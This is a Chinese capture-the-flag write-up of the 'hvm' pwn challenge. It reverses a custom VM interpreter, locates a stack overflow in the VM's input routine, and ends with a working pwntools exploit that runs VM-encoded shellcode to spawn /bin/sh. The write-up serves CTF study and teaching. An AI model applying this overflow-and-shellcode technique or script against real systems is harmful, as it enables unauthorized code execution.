CTF Re&&Pwn

【CTF-PWN】HVM

2018-09-23  本文已影响3人  Kirin_say

0x01 程序分析

题目有两个文件:

hvm
hvmbin

猜测是存在vm保护
先运行程序(hvm中open('/hvmbin'),需要将hvmbin放入根目录下):

./hvm                 
hello               
Kirin_say                  
bye 

程序过程:

输出"hello"
接收输入
输出"bye"

初步猜测第二步输入因为长度问题造成栈溢出:

./hvm
hello
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
段错误 (核心已转储)

main

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int fd; // ST04_4

  set_up();
  fd = open("/hvmbin", 0);
  read(fd, buf, 0xFA0uLL);
  vm_handle();
  return 0LL;
}

set_up

unsigned __int64 set_up()
{
  unsigned __int64 v0; // ST08_8

  v0 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  buf = mmap(0LL, 0x2000uLL, 3, 34, -1, 0LL);
  qword_2020E0 = (__int64)mmap(0LL, 0x2000uLL, 3, 34, -1, 0LL);
  memset(buf, 0, 0x2000uLL);
  qword_202100 = (__int64)buf;
  qword_2020B8 = qword_2020E0 + 4096;
  qword_2020D0 = qword_2020E0 + 4096;
  alarm(0x1Eu);
  return __readfsqword(0x28u) ^ v0;
}

首先nop掉alarm以便调试
可以看到
程序利用mmap分配两段内存分别作为vm代码段和vm栈段

代码段:buf = mmap(0LL, 0x2000uLL, 3, 34, -1, 0LL);
栈段:qword_2020E0 = (__int64)mmap(0LL, 0x2000uLL, 3, 34, -1, 0LL);

vm_handle

程序在main中:

fd = open("/hvmbin", 0);
read(fd, buf, 0xFA0uLL);

将hvmbin文件写入buf代码段
而后在vm_handle中:

.text:0000559BC2092AA4                 push    rbp
.text:0000559BC2092AA5                 mov     rbp, rsp
.text:0000559BC2092AA8                 push    rbx
.text:0000559BC2092AA9                 sub     rsp, 48h
.text:0000559BC2092AAD                 mov     rax, fs:28h
.text:0000559BC2092AB6                 mov     [rbp+var_18], rax
.text:0000559BC2092ABA                 xor     eax, eax
.text:0000559BC2092ABC                 mov     rax, cs:vm_ip
.text:0000559BC2092AC3                 mov     eax, [rax]
.text:0000559BC2092AC5                 mov     [rbp+var_50], eax
.text:0000559BC2092AC8                 jmp     loc_559BC20931AE ; jumptable 0000000000000AF9 default case

通过vm_ip读取buf中的指令
而后:

.text:0000559BC2092ACD                 cmp     [rbp+var_50], 1Ah ; switch 27 cases
.text:0000559BC2092AD1                 ja      loc_559BC20931AE ; jumptable 0000000000000AF9 default case
.text:0000559BC2092AD7                 mov     eax, [rbp+var_50]
.text:0000559BC2092ADA                 lea     rdx, ds:0[rax*4]
.text:0000559BC2092AE2                 lea     rax, off_559BC20932D4
.text:0000559BC2092AE9                 mov     eax, [rdx+rax]
......

通过switch不断解析这些指令,最终实现程序
vm_handle伪代码分析:

unsigned __int64 vm_handle()
{
  unsigned int v0; // ST20_4
  int v1; // ST1C_4
  _DWORD *v2; // rbx
  _DWORD *v3; // rbx
  unsigned __int64 result; // rax
  int v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+38h] [rbp-18h]
  __int64 savedregs; // [rsp+50h] [rbp+0h]

  v6 = __readfsqword(0x28u);
  v5 = *(_DWORD *)vm_ip;
LABEL_26:
  while ( v5 )
  {
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        vm_ip += 4LL;                           // mov rax,n
        vm_rax = (signed int)convert(*(_DWORD *)vm_ip);
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 2u:
        vm_ip += 4LL;                           // mov rbx,n
        vm_rbx = (signed int)convert(*(_DWORD *)vm_ip);
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 3u:
        vm_ip += 4LL;                           // mov rcx,n
        vm_rcx = (signed int)convert(*(_DWORD *)vm_ip);
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 4u:
        vm_ip += 4LL;                           // mov rdx,n
        vm_rdx = (signed int)convert(*(_DWORD *)vm_ip);
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 5u:
        vm_ip += 4LL;                           // jmp 4*n
        vm_ip += 4LL * (signed int)convert(*(_DWORD *)vm_ip);
        v5 = *(_DWORD *)vm_ip;
        break;
      case 6u:
        v0 = *(_DWORD *)vm_rsp;                 // ret 4*(n+3)
        vm_rsp += 4LL;
        vm_ip = (__int64)vm_base_addr + 4 * ((signed int)convert(v0) + 3LL);
        v5 = *(_DWORD *)vm_ip;
        break;
      case 7u:
        vm_ip += 4LL;                           // push n
        v1 = *(_DWORD *)vm_ip;
        vm_rsp -= 4LL;
        *(_DWORD *)vm_rsp = v1;
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 8u:
        vm_rax = vm_rsp;                        // mov rax,rsp
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 9u:                                  // mov rbx,rsp
        vm_rbx = vm_rsp;
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 0xAu:
        vm_rcx = vm_rsp;                        // mov rcx,rsp
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 0xBu:
        vm_rdx = vm_rsp;                        // mov rdx,rsp
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 0xCu:                                // mov rsi,rsp
        vm_rsi = vm_rsp;
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 0xDu:
        vm_rdi = vm_rsp;                        // mov rdi,rsp
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 0xEu:                                // syscall
        __asm { syscall; LINUX - }
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 0xFu:
        vm_ip += 4LL;                           // sub rsp,(n/4)*4
        vm_rsp -= 4LL * ((signed int)convert(*(_DWORD *)vm_ip) / 4);
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 0x10u:
        vm_rsp -= 4LL;                          // push rbp
        v2 = (_DWORD *)vm_rsp;
        *v2 = convert((vm_rbp - vm_stack) >> 2);
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 0x11u:                               // mov rbp,rsp
        vm_rbp = vm_rsp;
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 0x12u:
        vm_rsp = vm_rbp;                        // mov rsp,rbp
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 0x13u:                               // pop rbp
        vm_rbp = 4LL * (signed int)convert(*(_DWORD *)vm_rsp) + vm_stack;
        vm_rsp += 4LL;
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 0x14u:
        vm_rsp -= 4LL;                          // push ip
        v3 = (_DWORD *)vm_rsp;
        *v3 = convert((vm_ip - (signed __int64)vm_base_addr) >> 2);
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 0x18u:
        vm_ip += 4LL;                           // mov rdi,n
        vm_rdi = (signed int)convert(*(_DWORD *)vm_ip);
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      case 0x19u:
        exit(0);                                // exit(0)
        return result;
      case 0x1Au:
        vm_ip += 4LL;                           // mov rsi,n
        vm_rsi = (signed int)convert(*(_DWORD *)vm_ip);
        vm_ip += 4LL;
        v5 = *(_DWORD *)vm_ip;
        break;
      default:
        goto LABEL_26;
    }
  }
  return __readfsqword(0x28u) ^ v6;
}

其中调用syscall会将虚拟寄存器ax,bx,cx,dx,si,di传入真实寄存器:

.text:000056544247EE9A mov     rax, cs:vm_rax                  ; jumptable 0000000000000AF9 case 14
.text:000056544247EEA1 mov     rbx, cs:vm_rbx
.text:000056544247EEA8 mov     rcx, cs:vm_rcx
.text:000056544247EEAF mov     rdx, cs:vm_rdx
.text:000056544247EEB6 mov     rsi, cs:vm_rsi
.text:000056544247EEBD mov     rdi, cs:vm_rdi
.text:000056544247EEC4 syscall        

最后对照hvmbin解析后得到程序过程:

push "o\n\x00\x00"
push 'hell'
mov rsi,rsp
mov rdi,1
mov rdx,6
mov rax,1
syscall
push rip 
jmp 4*14
push 0
push 'bye\n'
mov rsi,rsp
mov rdi,1
mov rdx,6
mov rax,1
syscall
exit

(jmp 4*14:)
push rbp
mov rsp,rbp
sub rsp,0x30
mov rsi,rsp
mov rdi,0
mov rdx,0xf0
mov rax,0
syscall
mov rsp,rbp
pop rbp
ret (vm_base_addr+4*(off+3))

0x02 漏洞

可以看到第二步接收输入过程:

push rbp
mov rsp,rbp
sub rsp,0x30
mov rsi,rsp
mov rdi,0
mov rdx,0xf0
mov rax,0
syscall
mov rsp,rbp
pop rbp
ret (vm_base_addr+4*(off+3))

其允许我们输入最大0xf0长度的数据,从而造成了溢出
且在这里call的实现:

push eip
jmp ...

且入栈的eip为相对于vm_base_addr的偏移(且这里视为符号数):

vm_ip = (__int64)vm_base_addr + 4 * ((signed int)convert(v0) + 3LL)

而且这里虚拟代码段和栈段是通过两次连续的 mmap 得到的内存
其是连续的,故而其地址相对关系是固定的,因此可以通过覆盖偏移来劫持eip,最终跳转到读入的shellcode

sub rsp,0x38    ; 我们开始输入"/bin/sh","sub rsp,0x38"使rsp指向"/bin/sh"
mov rdi,esp
mov rdx,0
mov rsi,0
mov rax,0x3b
syscall

对应到vm中的实现为:

payload=p32(0x0f)+p32(0x38000000)
payload+=p32(0x0d)
payload+=p32(4)+p32(0)
payload+=p32(0x1a)+p32(0)
payload+=p32(1)+p32(0x3b000000)
payload+=p32(0xe)
payload = payload.ljust(0x30,'\x00')  //缓冲区大小:0x30

填充完缓冲区,需要确定覆盖的bp与ip:
首先覆盖过程中保持bp不变,防止程序崩溃(直接覆盖为程序原来此处的bp即可):
需要注意存在convert函数:

__int64 __fastcall convert(unsigned int a1)
{
  return (a1 << 24) + ((a1 << 8) & 0xFF0000) + (((signed int)a1 >> 8) & 0xFF00) + (a1 >> 24);
}

这里是为了实现Little-Endian与Big-Endian之间的转换
所以求出所要覆盖数据时,注意在这里需要转换成Big-Endian

payload+=flat(0x400,word_size=32,endianness='big')

在第二步返回时下断点,用当前数据列出关系式,解出需要覆盖的ip:

vm_base_addr + 4 * ((signed int)convert(v0) + 3LL)=00007FBAF8709FC8
即:
7FBAF870B000 + 4 * ((signed int)convert(v0) + 3LL)=00007FBAF8709FC8

解出,需要覆盖为:

flat(-0x411,word_size=32,endianness='big')  

0x03 EXP

from pwn import *


#context.log_level = 'debug'
p=process("./hvm")
p.recvuntil("hello\n")
payload="/bin/sh\x00"
payload+=p32(0x0f)+p32(0x38000000)
payload+=p32(0x0d)
payload+=p32(4)+p32(0)
payload+=p32(0x1a)+p32(0)
payload+=p32(1)+p32(0x3b000000)
payload+=p32(0xe)
payload = payload.ljust(0x30,'\x00')+flat(0x400,-0x411,word_size=32,endianness='big')
p.sendline(payload)
p.interactive()
上一篇下一篇

猜你喜欢

热点阅读